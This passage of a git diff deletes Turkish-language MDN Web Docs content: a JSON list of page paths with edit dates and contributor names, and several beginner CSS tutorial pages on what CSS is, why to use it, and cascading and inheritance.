{ - "modified": "2020-10-15T21:59:39.369Z", - "contributors": [ - "halitcelik", - "SphinxKnight" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String": { - "modified": "2020-10-15T21:56:10.987Z", - "contributors": [ - "Naeus", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/substring": { - "modified": "2020-10-15T21:56:05.745Z", - "contributors": [ - "ozgrozer" - ] - }, - "Web/JavaScript/Reference/Global_Objects/eval": { - "modified": "2020-10-15T22:20:33.147Z", - "contributors": [ - "HuseyinTurkmenoglu" - ] - }, - "Web/JavaScript/Reference/Global_Objects/isFinite": { - "modified": "2020-03-12T19:43:07.628Z", - "contributors": [ - "cihantuncer" - ] - }, - "Web/JavaScript/Reference/Global_Objects/isNaN": { - "modified": "2020-10-15T22:27:10.587Z", - "contributors": [ - "ErsinCabuk" - ] - }, - "Web/JavaScript/Reference/Lexical_grammar": { - "modified": "2020-10-15T22:32:02.667Z", - "contributors": [ - "fexri.babasov97" - ] - }, - "Web/JavaScript/Reference/Operators": { - "modified": "2020-03-12T19:41:24.526Z", - "contributors": [ - "pasalog" - ] - }, - "Web/JavaScript/Reference/Operators/function*": { - "modified": "2020-10-15T22:03:10.564Z", - "contributors": [ - "mustafakucuk" - ] - }, - "Web/JavaScript/Reference/Operators/instanceof": { - "modified": "2020-03-12T19:46:20.732Z", - "contributors": [ - "cenkce" - ] - }, - "Web/JavaScript/Reference/Operators/super": { - "modified": "2020-12-04T05:30:41.838Z", - "contributors": [ - "murerkinn" - ] - }, - "Web/JavaScript/Reference/Operators/this": { - "modified": "2020-03-12T19:42:15.605Z", - "contributors": [ - "co3moz" - ] - }, - "Web/JavaScript/Reference/Operators/typeof": { - "modified": "2020-10-15T22:03:10.125Z", - "contributors": [ - "obzc", - "mustafakucuk" - ] - }, - "Web/JavaScript/Reference/Statements": { - "modified": "2020-03-12T19:43:07.364Z", - "contributors": [ - "fscholz" - ] - }, - "Web/JavaScript/Reference/Statements/block": { - "modified": "2020-03-12T19:46:22.257Z", - "contributors": [ - "kamuransonecek" - ] - }, - "Web/JavaScript/Reference/Statements/break": { - "modified": "2020-10-15T22:00:51.151Z", - "contributors": [ - "kirpii" - ] - }, - "Web/JavaScript/Reference/Statements/const": { - "modified": "2020-12-08T03:38:29.724Z", - "contributors": [ - "SphinxKnight", - "YasinCelebi" - ] - }, - "Web/JavaScript/Reference/Statements/export": { - "modified": "2020-03-12T19:46:48.073Z", - "contributors": [ - "ahalkaya" - ] - }, - "Web/JavaScript/Reference/Statements/return": { - "modified": "2020-03-12T19:43:09.061Z", - "contributors": [ - "ntdvl", - "cihantuncer" - ] - }, - "Web/JavaScript/Reference/Statements/throw": { - "modified": "2020-11-23T05:35:53.155Z", - "contributors": [ - "ysn47", - "onurozkir" - ] - }, - "Web/JavaScript/Reference/Statements/while": { - "modified": "2020-12-03T15:49:18.076Z", - "contributors": [ - "murerkinn" - ] - }, - "Web/JavaScript/Reference/Strict_mode": { - "modified": "2020-05-18T16:27:24.217Z", - "contributors": [ - "OnKoydenKovuldum" - ] - }, - "Web/Manifest": { - "modified": "2019-03-18T21:28:25.980Z", - "contributors": [ - "alpr" - ] - }, - "Web/MathML": { - "modified": "2020-10-15T22:07:35.147Z", - "contributors": [ - "tufan2005" - ] - }, - "Web/Progressive_web_apps": { - "modified": "2020-02-24T21:47:47.992Z", - "contributors": [ - "2.HALLAÇ" - ] - }, - "Web/Progressive_web_apps/Offline_Service_workers": { - "modified": "2020-05-31T18:38:35.106Z", - "contributors": [ - "OnKoydenKovuldum" - ] - }, - "Web/Reference": { - "modified": "2019-03-23T22:37:12.170Z", - "contributors": [ - "MR-AMIR" - ] - }, - "Web/Security": { - "modified": "2019-09-10T16:49:32.135Z", - "contributors": [ - "SphinxKnight", - "umutozdemir97" - ] - }, - "Web/Security/Mixed_content": { - "modified": "2019-03-23T23:08:55.937Z", - "contributors": [ - "bulutefe" - ] - }, - "Web/Security/Transport_Layer_Security": { - "modified": "2020-02-24T22:08:14.293Z", - "contributors": [ - "2.HALLAÇ" - ] - }, - "Web/Security/Weak_Signature_Algorithm": { - "modified": "2019-03-23T22:55:15.192Z", - "contributors": [ - "efeevren" - ] - }, - "Web/Tutorials": { - "modified": "2019-03-23T23:09:03.763Z", - "contributors": [ - "ladriryah", - "saidkocdemir", - "askn" - ] - }, - "WebAssembly": { - "modified": "2020-12-07T20:55:10.919Z", - "contributors": [ - "hakantr" - ] - }, - "WebAssembly/Concepts": { - "modified": "2020-12-07T20:56:17.393Z", - "contributors": [ - "hakantr" - ] - }, - "conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance": { - "modified": "2019-03-23T22:37:30.876Z", - "contributors": [ - "pasalog" - ] - }, - "conflicting/Learn/CSS/First_steps": { - "modified": "2019-03-23T22:51:41.513Z", - "contributors": [ - "alpr", - "pasalog", - "wjinca" - ] - }, - "conflicting/Learn/CSS/First_steps/How_CSS_works": { - "modified": "2019-03-23T22:51:37.807Z", - "contributors": [ - "alpr", - "koca", - "pasalog" - ] - }, - "conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521": { - "modified": "2019-03-23T22:50:18.048Z", - "contributors": [ - "alpr", - "pasalog" - ] - }, - "conflicting/Learn/CSS/First_steps/How_CSS_works_bb137d8ec11d5e9680f32049e9a3cb26": { - "modified": "2019-03-23T22:50:19.247Z", - "contributors": [ - "pasalog" - ] - }, - "conflicting/Web/JavaScript/Reference/Global_Objects/Boolean": { - "modified": "2020-10-15T22:01:56.391Z", - "contributors": [ - "tugcebaskan" - ] - }, - "conflicting/Web/JavaScript/Reference/Global_Objects/Map": { - "modified": "2020-10-15T22:14:16.067Z", - "contributors": [ - "meryem" - ] - }, - "conflicting/Web/JavaScript/Reference/Operators": { - "modified": "2020-10-15T22:26:57.237Z", - "contributors": [ - "RawShed" - ] - }, - "conflicting/Web/JavaScript/Reference/Operators_3b90ea9617c66e4283e266b64ea7ae4a": { - "modified": "2020-10-15T21:59:09.441Z", - "contributors": [ - "cemtopkaya" - ] - }, - "conflicting/Web/JavaScript/Reference/Operators_603c79383d36dadbe5083df806de5999": { - "modified": "2020-03-12T19:44:53.162Z", - "contributors": [ - "cicekonur", - "umutozdemir97" - ] - }, - "orphaned/Fennec_(Firefox_Mobile)": { - "modified": "2019-01-16T14:21:08.717Z", - "contributors": [ - "techexpert" - ] - }, - "orphaned/Learn/CSS/Building_blocks/Selectors/Box_Model_Tasks": { - "modified": "2020-10-15T21:52:54.629Z", - "contributors": [ - "hakantr" - ] - }, - "orphaned/MDN/Community": { - "modified": "2019-09-11T08:00:49.740Z", - "contributors": [ - "SphinxKnight", - "BarisAyaz", - "wbamberg", - "anilkay" - ] - }, - "orphaned/MDN/Contribute/Howto/Do_an_editorial_review": { - "modified": "2019-03-23T22:21:04.194Z", - "contributors": [ - "wbamberg", - "fanatikhamsi" - ] - }, - "orphaned/MDN/Editor": { - "modified": "2020-09-30T15:43:52.765Z", - "contributors": [ - "chrisdavidmills", - "zktosu", - "sahinb", - "wbamberg", - "Setiawati940@gmail.com" - ] - }, - "orphaned/MDN/Editor/Basics": { - "modified": "2020-09-30T15:43:53.305Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "balimcann" - ] - }, - "orphaned/MDN/Kuma/Server_charts": { - "modified": "2020-04-18T08:41:52.888Z", - "contributors": [ - "OnKoydenKovuldum" - ] - }, - "orphaned/MDN/Tools/Page_watching": { - "modified": "2020-09-30T16:54:34.403Z", - "contributors": [ - "chrisdavidmills", - "2.HALLAÇ" - ] - }, - "orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext": { - "modified": "2019-04-24T22:00:33.650Z", - "contributors": [ - "Anatolianlion" - ] - }, - "orphaned/Tr": { - "modified": "2019-03-24T00:18:40.718Z", - "contributors": [ - "Criexe", - "teoli", - "techexpert", - "syssgx", - "flodby", - "ACS", - "mepistol", - "huseyin.ozkilic" - ] - }, - "orphaned/Web/HTML-Alani": { - "modified": "2019-09-11T09:11:52.447Z", - "contributors": [ - "msyx" - ] - }, - "orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype": { - "modified": "2019-03-23T23:24:51.018Z", - "contributors": [ - "teoli", - "ramesaliyev" - ] - } -} diff --git a/files/tr/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/tr/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html deleted file mode 100644 index 112741627e..0000000000 --- a/files/tr/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Cascading and inheritance -slug: conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance -tags: - - Başlarken - - CSS - - Kılavuz - - Rehber - - Web - - Yeni başlayanlar için -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance -translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance -original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---- -<p>{{ CSSTutorialTOC() }}</p> - -<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "How CSS works.")}}<span class="seoSummary">This is the fourth section of the <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en/CSS/Getting Started">CSS Getting Started</a> tutorial; it outlines how stylesheets interact in a cascade, and how elements inherit style from their parents. You add to your sample stylesheet, using inheritance to alter the style of many parts of your document in one step.</span></p> - -<h2 class="clearLeft" id="Basamaklama(Cascading)_ve_kalıtım(Inheritance)">Basamaklama(Cascading) ve kalıtım(Inheritance)</h2> - -<p>Bir elementin son stili kompleks bir şekilde birbiriyle etkileşen bir çok yerde belirtilebilir. Bu kompleks etkileşim CSS'e güçlü bir yapı sağlar fakat; bir çok yerde bulunan stiller bazen karışabilir, hata ayıklamayı zorlaştırabilir. Bu duruma engel olmak için CSS'in öncelik sırası vardır. Bu öncelik kurallarını tarayıcı sıra ile uygular ve elementin stilini verir.</p> - -<p>Basamaklama ile gelen stillerin üç ana kaynağı vardır :</p> - -<ul> - <li>Tarayıcının markup dili için geçerli default stili.</li> - <li>Okuyucunun belirlediği stiller.</li> - <li>Belgenin yazarı tarafından belirtilen stiller. Bu stiller üç yerde bulunabilir; - <ul> - <li>Harici bir dosyada (örneğin: .../styles/style.css) ; bu kurs öncelikle bu yöntem üzerinde durmaktadır.</li> - <li>Belgenin başlangıcında (markup dilinde bu yöntem için en uygun yer <head> elementi içidir.) Bu yöntem sadece uygulanan belge için kullanılabilir.</li> - <li>Elementin içinde (markup dilinde elementlerin başlama tag'lerinin içine o elementin stili eklenebilir.); bu yöntem bakım ve test için kullanılabilir.</li> - </ul> - </li> -</ul> - -<p>Okuyucunun belirlediği stil, tarayıcıda default bulunan stili değiştirebilir. Ardından belgenin yaratıcısının stili biraz daha değişiklik yapar. Bu kursta, siz belgenin yazarısınız. Sadece belgenin yazarının stilleri üzerinde çalışacağız.</p> - -<div class="tuto_example"> -<div class="tuto_type">Örnek</div> - -<p>Bu kurstaki belgeleri okuyorken, stillerin bir kısmı, tarayıcınızın HTML için belirlediğini default stillerden gelir.</p> - -<p>Bir kısmı, sizin tarafınızdan düzenlenmiş tarayıcı stil ayarlarından gelir. Firefox'ta, ayarlar Tercihler kısmından veya tarayıcı dosyaları içinde bulunan <code>userContent.css </code>stil dosyasından düzenlenebilir.</p> - -<p>Stillerin çoğu kısmı ise, server'da bulunan stil belgesinden gelmektedir.</p> -</div> - -<p>Örnek belgenizi tarayıcınızda açtığınızda, {{ HTMLElement("strong") }} elementleri kalın görünecektir. Bu tarayıcınızın HTML için belirttiği stilden gelir.</p> - -<p>{{ HTMLElement("strong") }} elementleri kırmızıdır. Bu stil sizin belirttiğiniz stildir.</p> - -<p>Ayrıca {{ HTMLElement("strong") }} elementleri {{HTMLElement("p") }} elementinin stillerini devralırlar. Aynı şekilde {{ HTMLElement("p") }} elementi de {{ HTMLElement("body") }} elementinin stillerinin varisidir.</p> - -<p>Yazarın stilleri önceliğe sahiptir, ardından okuyucunun stilleri ve sonra tarayıcının defaul stilleri gelir.</p> - -<p>Kalıtsal stillemede, en ufak elementin stili ( mesela {{ HTMLElement("strong") }} elementi ) ebeveyni olan elementin stillerinden daha önceliklidir.</p> - -<p>Stilin uygulama sadece önceliğe bağlı değildir. Yani en ufak elementin önceliği en fazla olduğunda sadece onun stili uygulanmaz. Bir sonraki sayfada daha ayrıntılı açıklanacaktır.</p> - -<div class="tuto_details"> -<p><strong>Detay</strong></p> - -<p>CSS, <code>!important</code> kelimesi yardımıyla okuyucuya stillerinde yazardan üstünlük sağlayabilir.</p> - -<p>Bunun belgenin yazarı için anlamı, belgeyi okuyucunun nasıl gördüğünün kesin olarak bilinemeyeceğidir.</p> - -<p>Eğer basamaklama ve kalıtım ile ilgili daha fazla detay öğenmek istiyorsanız, CSS Spesifikasyonu'ndaki <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">Assigning property values, Cascading, and Inheritance</a> belgesine göz atın.</p> -</div> - -<h2 id="Çalışma_Kalıtımın_kullanımı">Çalışma: Kalıtımın kullanımı</h2> - -<ol> - <li>Editörünüzde örnek CSS dosyanızı açın.</li> - <li>Aşağıdaki satırı kopyalayın ve yapıştırın. Orada zaten bulunan satırın altına veya üstüne yapıştırmanızın hiç bir önemi yoktur. Fakat, en üste eklemek biraz daha mantıklıdır, çünkü {{ HTMLElement("p") }} elementi {{ HTMLElement("strong") }} elementinin ebeveynidir, üstüdür: - <pre class="brush:css">p {color: blue; text-decoration: underline;} -</pre> - </li> - <li>Tarayıcınızı yenileyin ve örnek belgenizdeki değişikliği görün. <code>text-decoration: underline</code> değeri paragraftaki tüm harfleri, baş harfler dahil, etkileyecektir.{{ HTMLElement("strong") }} elementleri, altçizgi stilini miras olarak, ebeveyni olan {{ HTMLElement("p") }} elementinden almıştır. Fakat {{ HTMLElement("strong") }} elementi kırmızı olarak belirtilmişti. Kırmızı onun kendi stilidir; bu yüzden kırmızı, ebeveyni olan {{ HTMLElement("p") }}'nin renk stili maviden önceliklidir.</li> -</ol> - -<h2 id="Before" name="Before">Öncesi</h2> - -<h3 id="HTML_içeriği">HTML içeriği</h3> - -<pre class="brush: html"><p> - <strong>C</strong>ascading - <strong>S</strong>tyle - <strong>S</strong>heets -</p> -</pre> - -<h3 id="CSS_içeriği">CSS içeriği</h3> - -<pre class="brush: css">strong {color:red} -</pre> - -<p>{{ EmbedLiveSample('Before') }}</p> - -<h2 id="After" name="After">Sonrası</h2> - -<h3 id="HTML_içeriği_2">HTML içeriği</h3> - -<pre class="brush: html"><p> - <strong>C</strong>ascading - <strong>S</strong>tyle - <strong>S</strong>heets -</p></pre> - -<h3 id="CSS_içeriği_2">CSS içeriği</h3> - -<pre class="brush:css" dir="rtl">p {color:blue; text-decoration:underline} -strong {color:red}</pre> - -<p>{{ EmbedLiveSample('After') }}</p> - -<p> </p> - -<div class="tuto_example"> -<div class="tuto_type">Ödev</div> -Şablonunuzu sadece kırmızı harflerin altıçizili olması için değiştirin: - -<table style="border: 2px outset #36b; padding: 1em;"> - <tbody> - <tr> - <td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets</td> - </tr> - </tbody> -</table> - -<div class="tuto_details" id="tutochallenge"> -<div class="tuto_type">Possible solution</div> - -<p>Move the declaration for underlining from the rule for {{ HTMLElement("p") }} to the one for {{ HTMLElement("strong") }}. The resulting file looks like this:</p> - -<pre class="brush: css">p {color: blue; } -strong {color: red; text-decoration: underline;} -</pre> - -<p> </p> -<a class="hideAnswer" href="#challenge">Hide solution</a></div> -<a href="#tutochallenge" title="Display a possible solution for the challenge">Ödevin çözümünü gör.</a></div> - -<p> </p> - -<h2 id="Bir_sonraki">Bir sonraki?</h2> - -<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors", "Selectors")}}Şablonunuzda <p> ve <strong> tag'leri için stil belirlerken direk olarak belgenizde bulunan tag isimlerine stiller atadık. Bir sonraki bölümde, stilleri daha <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">seçici yollar</a> ile nasıl belirtebileceğinizi öğreneceksiniz.</p> diff --git a/files/tr/conflicting/learn/css/first_steps/how_css_works/index.html b/files/tr/conflicting/learn/css/first_steps/how_css_works/index.html deleted file mode 100644 index 3cc3c2d098..0000000000 --- a/files/tr/conflicting/learn/css/first_steps/how_css_works/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: CSS nedir? -slug: conflicting/Learn/CSS/First_steps/How_CSS_works -tags: - - Başlangıç - - Başlarken - - CSS - - Yeni başlayanlar için - - kitapçık - - Örnek -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS -original_slug: Web/Guide/CSS/Getting_started/css_nedir ---- -<div>Css {{CSSTutorialTOC}}</div> - -<p>{{previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started", "Getting started")}} <span class="seoSummary">This first section of the <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en/CSS/Getting Started">CSS Getting Started</a> tutorial briefly explains Cascading Style Sheets (CSS). You'll also create a simple document to use for CSS exercises in subsequent sections.</span></p> - -<h2 class="clearLeft" id="Bilgi_CSS_nedir">Bilgi: CSS nedir</h2> - -<p>Cascading Style Sheets (<dfn><abbr title="Cascading Style Sheets">CSS</abbr></dfn>), belgelerin kullanıcılara nasıl sunulacağını özelleştiren bir dildir.</p> - -<p><em>Belge</em>, bir imleme(<em>markup) </em>dili kullanılarak yapılandırılmış bilgi yığınıdır.</p> - -<p>Belgenin kullanıcıya sunuluşu, ziyaretçileriniz için kullanışlı bir biçime çevrilmesi demektir. Tarayıcılar, Firefox, Chrome ya da Internet Explorer gibi, belgelerin görsel olarak sunulması için tasarlanmıştır, örneğin, bilgisayar ekranında, yansıtımda(projektör) ya da yazıcıda.</p> - -<div class="tuto_example"> -<p><strong>Örnekler</strong></p> - -<ul> - <li>Bir web sayfası okuduğunuz bir belge gibidir. Web sayfasında gördüğünüz bilgiler, genellikle bir imleme<em> </em>dili olan HTML(Hyper Text Markup Language) ile yapılandırılmıştır.</li> - <li>Bir uygulamadaki etkileşimli pencereler de aslında bir tür belgelerdir. Bu tür pencereler bir imleme diliyle (ör: XUL gibi) yapılandırılmış olabilir. Bunu bazı Mozilla uygulamalarında bulabilirsiniz. </li> -</ul> -</div> - -<p>Bu eğiticide, kutular daha fazla ayrıntıyı kapsar, yukarıda gördüğünüz daha ayrıntılı bilgi sunan kutu gibi. Onları gördüğünüzde okuyun, bağlantıları edin izleyin daha sonra okumak için atlayın.</p> - -<div class="tuto_details"> -<div class="tuto_type"><strong>Daha fazla ayrıntı</strong></div> - -<p>Bir belge, dosya ile aynı değildir. Bir belgeyi ancak bir dosyanın içerisinde saklayabilirsiniz.</p> - -<p>Şu an okuduğunuz belge bir dosyadadır. Tarayıcınız bu sayfayı çağırdığında, sunucu veritabanını sorgular ve sayfanın bölümlerini dosyalardan toplayarak belgeyi hazırlar. Aynı biçimde, bu öğreticide dosyaların içerisinde saklanan belgelerle çalışacaksınız.</p> - -<p>Bu sitenin diğer sayfalarında imleme<em> </em>dilleri hakkında bilgi bulabilirsiniz;</p> - -<table style="background-color: inherit; margin-left: 2em;"> - <tbody> - <tr> - <td><a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a></td> - <td>web sayfaları için</td> - </tr> - <tr> - <td><a href="/en-US/docs/XML" title="/en-US/docs/XML">XML</a></td> - <td>belgeleri genel olarak yapılandırma için</td> - </tr> - <tr> - <td><a href="/en-US/docs/Web/SVG" title="/en-US/docs/Web/SVG">SVG</a></td> - <td>Çizgeler için</td> - </tr> - <tr> - <td><a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a></td> - <td>Mozilla'da kullanıcı arayüzleri için</td> - </tr> - </tbody> -</table> - -<p>Bu eğiticinin ikinci bölümünde bu imleme<em> </em>dillerini göreceksiniz.</p> -</div> - -<div class="tuto_details"><strong>Daha fazla ayrıntı</strong> - -<p>Resmi CSS terimler dizgesinde, belgenin kullanıcıya sunulduğu bir program, kullanıcı aracısı (User Agent-UA) olarak isimlendirilir. Bir tarayıcı, bir çeşit kullanıcı aracısıdır. CSS yalnızca tarayıcılar için veya görünüm sunumu için değildir fakat bu eğiticinin birinci bölümünde, yalnızca tarayıcı için olan CSS ile çalışacaksınız.</p> - -<p>CSS'e ilişkin resmi terimleri için, World Wide Web Consortium (W3C) dan sağlanan CSS şartnamelerinin <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">deyişlerine</a> göz atın.W3C web için açık standartları hazırlayan uluslararası bir topluluktur.</p> -</div> - -<h2 id="Çalışma_Bir_belge_yaratmak">Çalışma: Bir belge yaratmak</h2> - -<ol> - <li>Bilgisayarınızda bir dizin oluşturun ve alıştırmalarınızı düzenleyin.</li> - <li>Yazı düzenleyicinizi açın.</li> - <li>Aşağıda gördüğünüz HTML kodlarını kopyalayıp yapıştırın. <code>belge1.html </code>adı ile kaydedin. - <pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="UTF-8"> - <title>örnek belge</title> - </head> - - <body> - <p> - <strong>C</strong>ascading - <strong>S</strong>tyle - <strong>S</strong>heets - </p> - </body> -</html></pre> - - <p>{{ LiveSampleLink('Action_Creating_a_document', 'Yukarıdaki Örneği Görüntüle') }}</p> - </li> - <li>Tarayıcınızda kaydettiğiniz belgeyi açın. - <p>Tarayıcıda, aşağıdaki gibi ilk harfleri kalın olan yazıyı göreceksiniz;</p> - - <table style="border: 2px outset #3366bb; padding: 1em;"> - <tbody> - <tr> - <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td> - </tr> - </tbody> - </table> - - <p>Eğer yukarıdakinin aynısını göremiyorsanız, bu tarayıcı ayarlarından kaynaklıdır. Yazı yüzleri, renkler ve boşluklar farklı olabilir. Bu gibi farklılıklar önemli değildir.</p> - </li> -</ol> - -<h2 id="Bir_sonraki_adım">Bir sonraki adım?</h2> - -<p>{{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS", "Why use CSS?")}}Belgenizde henüz CSS kullanmadınız. <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS">Bir sonraki bölüm</a>'de, belgenizde CSS kullanacaksınız.</p> diff --git a/files/tr/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html b/files/tr/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html deleted file mode 100644 index 9b1673fc1b..0000000000 --- a/files/tr/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Neden CSS Kullanılır -slug: >- - conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 -tags: - - CSS - - CSS:Başlarken - - Kılavuz - - Web - - Yeni başlayan - - Yeni başlayanlar - - Örnek -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS -original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS ---- -<p><span style="line-height: 1.5;">{{ CSSTutorialTOC() }}</span></p> - -<p>{{ previousPage("/tr/docs/Web/Guide/CSS/Getting_Started/CSS_Nedir", "CSS Nedir?") }}<span class="seoSummary"><a href="/en-US/docs/Web/Guide/CSS/Getting_started" title="en-US/docs/Web/Guide/CSS/Getting_started">CSS Başlangıç</a> yönergesindeki bu bölüm CSS ve HTML belgeleri arasındaki ilişkiyi anlatır. İlk bölümde yarattığınız belgeye biçim eklemeyi, alıştırmayla öğreneceksiniz.</span></p> - -<h2 class="clearLeft" id="Bilgi_Neden_CSS_kullanılır">Bilgi: Neden CSS kullanılır?</h2> - -<p>Belgenizin tasarım, yerleşim ve görünüm ile ilgili çeşitlerini içeren biçim öğelerini, farklı ekran boyutlarında ve farklı aygıtlarda tanımlamak için CSS kullanılır. CSS kodlarınızı<code> <head></code> içerisine gömebilirsiniz (gömülü iç CSS) veya biçimlerinizi tanımlayan bir biçim sayfasını farklı bir dizine ekleyip çağırabilirsiniz (dış CSS). Farklı bir belgede bulunan biçim kurallarını belgenize eklemek için, <code><head></code> ögesi içerisine bağlantı vermeniz gerekir.</p> - -<p>Dış biçim sayfalasının bir çok üstünlüğü vardır. Biçim sayfalarınızı HTML içeriğinizden farklı bir belgede saklamak:</p> - -<ul> - <li>Tekrarlanan kodların önlenmesine yardım eder.</li> - <li>Kolay onarım yapılmasını sağlar.</li> - <li>Tek bir yerden bütün biçimlerinizi denetlemenizi sağlar.</li> -</ul> - -<div class="tuto_example"> -<div class="tuto_type">Örnek</div> - -<p>h2 ögesi için oluşturduğunuz biçim kuralı ile, tanımladığınız bütün h2 ögerlerini tek bir yerden denetleyebilirsiniz.</p> - -<p>Kullanıcı bir ağ sayfasını görüntülediğinde, sayfanın içeriğiyle birllikte tanımlanmış biçim kuralları yüklenir.</p> - -<p>Kullanıcı bir ağ sayfasını yazdırdığında, tanımladığınız özel biçim kuralları ile sayfanın okunabilirliğini artırabilirsiniz.</p> -</div> - -<p>CSS ve HTML nasıl birlikte çalışır? Genel olarak, HTML'yi belgenizin içeriğini belirlemek için kullanırsınız, biçim kuralları için CSS vardır. Bu öğreticiden sonra, bu düzenlemelerin nasıl yapıldığını göreceksiniz.</p> - -<div class="tuto_details"> -<div class="tuto_type">Daha fazla ayrıntı</div> - -<p>HTML gibi bir imleme dili biçim tanımlamak için bir kaç yol sağlar.</p> - -<p>Örneğin, HTML içerisinde <code><b></code> ögesini, yazıyı kalınlaştırmak için kullanabilirsiniz ve ardalan rengini <code><body></code> ögesi içerisinde tanımlayabilirsiniz.</p> - -<p>CSS ile bu özellikleri kullanamazsınız fakat bunlara gerek de kalmaz. Kullanmanız gereken bütün kodları tek bir yerde kullanabilirsiniz.</p> -</div> - -<h2 id="Çalışma_Bir_kalıp_hazırlamak">Çalışma: Bir kalıp hazırlamak</h2> - -<ol> - <li>Birinci bölümde eklediğiniz <code>belge1.html</code> ile aynı dizine bir belge daha ekleyin.</li> - <li>Eklediğiniz belgeyi <code>bicim1.css</code> olarak adlandırın. Bu sizin biçim belgeniz olacak.</li> - <li>CSS belgesi içerisine aşağıdaki satırı ekleyip kaydedin:</li> - <li> - <pre class="brush: css">strong {color: red;} -</pre> - </li> -</ol> - -<h3 id="Biçim_belgesi_ile_bağlantılamak">Biçim belgesi ile bağlantılamak</h3> - -<ol> - <li>Biçim belgeniz ile HTML'inizi ilişkilendirmek için, HTML belgesini düzenleyin. Aşağıdaki işaretli satırı ekleyin: - <pre class="brush: html; highlight:[6];"><!DOCTYPE html> -<html> - <head> - <meta charset="UTF-8"> - <title>örnek belge</title> - <link rel="stylesheet" href="bicim1.css"> - </head> - <body> - <p> - <strong>C</strong>ascading - <strong>S</strong>tyle - <strong>S</strong>heets - </p> - </body> -</html> -</pre> - </li> - <li>Kaydedin ve HTML'yi tarayıcınızda açın, açıksa yenileyin. İlk harfler kırmızı olacaktır: - <table style="border: 2px outset #3366bb; padding: 1em;"> - <tbody> - <tr> - <td><span style="color: red;"><strong>C</strong></span>ascading <span style="color: red;"><strong>S</strong></span>tyle <span style="color: red;"><strong>S</strong></span>heets</td> - </tr> - </tbody> - </table> - </li> -</ol> - -<div class="tuto_example" id="challenge"> -<div class="tuto_type">Alıştırma</div> - -<p>CSS bazı renkler için rengin ingilizcesine izin verir.</p> - -<div class="tuto_details" id="tutochallenge"> -<div class="tuto_type">Possible solution</div> - -<p>CSS supports common color names like <code>orange</code>, <code>yellow</code>, <code>blue</code>, <code>green</code>, or <code>black</code>. It also supports some more exotic color names like <code>chartreuse</code>, <code>fuschia</code>, or <code>burlywood</code>. See <a href="/en-US/docs/CSS/color_value" title="The CSS color data type">CSS Color value</a> for a complete list as well as other ways of specifying colors.</p> -<a class="hideAnswer" href="#challenge">Hide solution</a></div> -<a href="#tutochallenge" title="Display a possible solution for the challenge">Alıştırmanın yanıtını görün.</a></div> - -<h2 id="Sıradaki">Sıradaki</h2> - -<p>{{nextPage("/en-US/docs/Web/Guide/CSS/Getting_started/How_CSS_works", "CSS Nasıl Çalışır.")}} Artık bir HTML belgesine bağlı bir biçim belgeniz var.</p> - -<p>Şimdi tarayıcınızın, sayfayı oluştururken bunları nasıl birleştirdiğini <a href="/en-US/docs/Web/Guide/CSS/Getting_started/How_CSS_works" title="/en-US/docs/Web/Guide/CSS/Getting_started/How_CSS_works">öğrenebilirsiniz</a>.</p> diff --git a/files/tr/conflicting/learn/css/first_steps/how_css_works_bb137d8ec11d5e9680f32049e9a3cb26/index.html b/files/tr/conflicting/learn/css/first_steps/how_css_works_bb137d8ec11d5e9680f32049e9a3cb26/index.html deleted file mode 100644 index e865718c65..0000000000 --- a/files/tr/conflicting/learn/css/first_steps/how_css_works_bb137d8ec11d5e9680f32049e9a3cb26/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: How CSS works -slug: >- - conflicting/Learn/CSS/First_steps/How_CSS_works_bb137d8ec11d5e9680f32049e9a3cb26 -tags: - - Başlarken - - CSS - - Kılavuz - - Web - - Yeni başlayan - - Yeni başlayanlar -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works -original_slug: 